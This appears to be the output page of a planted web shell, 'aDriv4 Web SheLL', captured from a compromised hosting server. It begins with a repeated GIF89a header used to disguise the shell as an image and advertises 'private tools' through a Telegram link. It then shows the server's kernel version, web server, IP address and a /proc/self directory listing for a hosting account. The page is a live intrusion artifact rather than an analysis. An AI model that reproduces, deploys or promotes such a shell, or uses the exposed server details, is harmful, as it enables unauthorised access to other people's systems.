GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server184.web-hosting.com 4.18.0-553.5.1.lve.1.el8.x86_64 #1 SMP Fri Jun 14 15:38:45 UTC 2024 x86_64
 LiteSpeed
 198.54.114.129
Name Type Size Owner/Group Permission Last Modified Actions
. dir - jrsdomnz/jrsdomnz 0555 2026-02-01 03:47:54
.. dir - jrsdomnz/jrsdomnz 0555 2026-02-01 03:47:54
attr dir - jrsdomnz/jrsdomnz 0555 2026-02-01 03:48:15
cwd link - jrsdomnz/jrsdomnz 0555 2026-02-01 03:47:54
fd dir - jrsdomnz/jrsdomnz 0500 2026-02-01 03:48:15
fdinfo dir - jrsdomnz/jrsdomnz 0500 2026-02-01 03:48:15
net dir - jrsdomnz/jrsdomnz 0555 2026-02-01 03:48:15
ns dir - jrsdomnz/jrsdomnz 0511 2026-02-01 03:48:15
root link - root/root 0755 2025-08-05 08:05:44
auxv application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-02-01 03:48:15
cgroup text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:47:55
children application/x-empty 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
clear_refs 0 B jrsdomnz/jrsdomnz 0200 2026-02-01 03:48:15
cmdline application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:47:55
comm text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-02-01 03:48:15
cpu_resctrl_groups text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
cpuset application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
environ application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-02-01 03:48:15
exe application/x-executable 6.11 MB root/linksafe 0755 2026-01-12 10:50:39
gid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-02-01 03:48:15
io text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
limits text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
loginuid text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-02-01 03:48:15
maps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
mem 0 B jrsdomnz/jrsdomnz 0600 2026-02-01 03:48:15
mountinfo text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
mounts text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
numa_maps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
oom_adj application/octet-stream 0 B jrsdomnz/jrsdomnz 0644 2026-02-01 03:48:15
oom_score text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
oom_score_adj application/octet-stream 0 B jrsdomnz/jrsdomnz 0644 2026-02-01 03:48:15
pagemap application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-02-01 03:48:15
patch_state text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-02-01 03:48:15
personality text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-02-01 03:48:15
projid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-02-01 03:48:15
sched text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-02-01 03:48:15
schedstat text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
sessionid text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
setgroups text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-02-01 03:48:15
smaps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
smaps_rollup text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
stack 0 B jrsdomnz/jrsdomnz 0400 2026-02-01 03:48:15
stat text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:47:55
statm text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:47:55
status text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:47:55
syscall text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-02-01 03:48:15
uid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-02-01 03:48:15
wchan application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-02-01 03:48:15
© aDriv4